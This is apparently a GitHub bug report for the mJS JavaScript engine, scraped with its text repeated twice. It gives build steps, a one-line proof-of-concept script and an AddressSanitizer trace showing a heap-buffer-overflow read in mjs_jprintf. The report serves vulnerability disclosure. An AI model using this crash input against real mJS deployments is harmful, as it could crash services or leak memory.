vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC)$(CFLAGS)$(TOP_MJS_SOURCES)$(TOP_COMMON_SOURCES) -o $(PROG)# save the makefile then make
make
Test case
poc.js
gc(JSON.stringify({translate: [Object.create]}))
Execution steps & Output
$ ./mjs/build/mjs poc.js
=================================================================
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x55ed154d746c bp 0x7ffdfe204f10 sp 0x7ffdfe204f00
READ of size 1 at 0x60b0000000ab thread T0
#0 0x55ed154d746b in mjs_jprintf src/mjs_util.c:61#1 0x55ed154d746b in mjs_fprintf src/mjs_util.c:93#2 0x55ed153d5f78 in main src/mjs_main.c:51#3 0x7fb412720b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)#4 0x55ed153d7449 in _start (/usr/local/bin/Gmjs+0xe449)
0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab)
allocated by thread T0 here:
#0 0x7fb412dd2f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)#1 0x55ed154e8346 in mbuf_resize src/common/mbuf.c:50
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf
Shadow bytes around the buggy address:
0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa 00 00
0x0c167fff8020: 00 00 00 00 00 00 00 00 00 00 07 fa fa fa fa fa
0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
The text was updated successfully, but these errors were encountered:
mJS revision
Commit: b1b6eac
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
poc.js
Execution steps & Output
$ ./mjs/build/mjs poc.js ================================================================= ===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x55ed154d746c bp 0x7ffdfe204f10 sp 0x7ffdfe204f00 READ of size 1 at 0x60b0000000ab thread T0 #0 0x55ed154d746b in mjs_jprintf src/mjs_util.c:61 #1 0x55ed154d746b in mjs_fprintf src/mjs_util.c:93 #2 0x55ed153d5f78 in main src/mjs_main.c:51 #3 0x7fb412720b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #4 0x55ed153d7449 in _start (/usr/local/bin/Gmjs+0xe449) 0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab) allocated by thread T0 here: #0 0x7fb412dd2f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x55ed154e8346 in mbuf_resize src/common/mbuf.c:50 SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf Shadow bytes around the buggy address: 0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 =>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa 00 00 0x0c167fff8020: 00 00 00 00 00 00 00 00 00 00 07 fa fa fa fa fa 0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cbThe text was updated successfully, but these errors were encountered: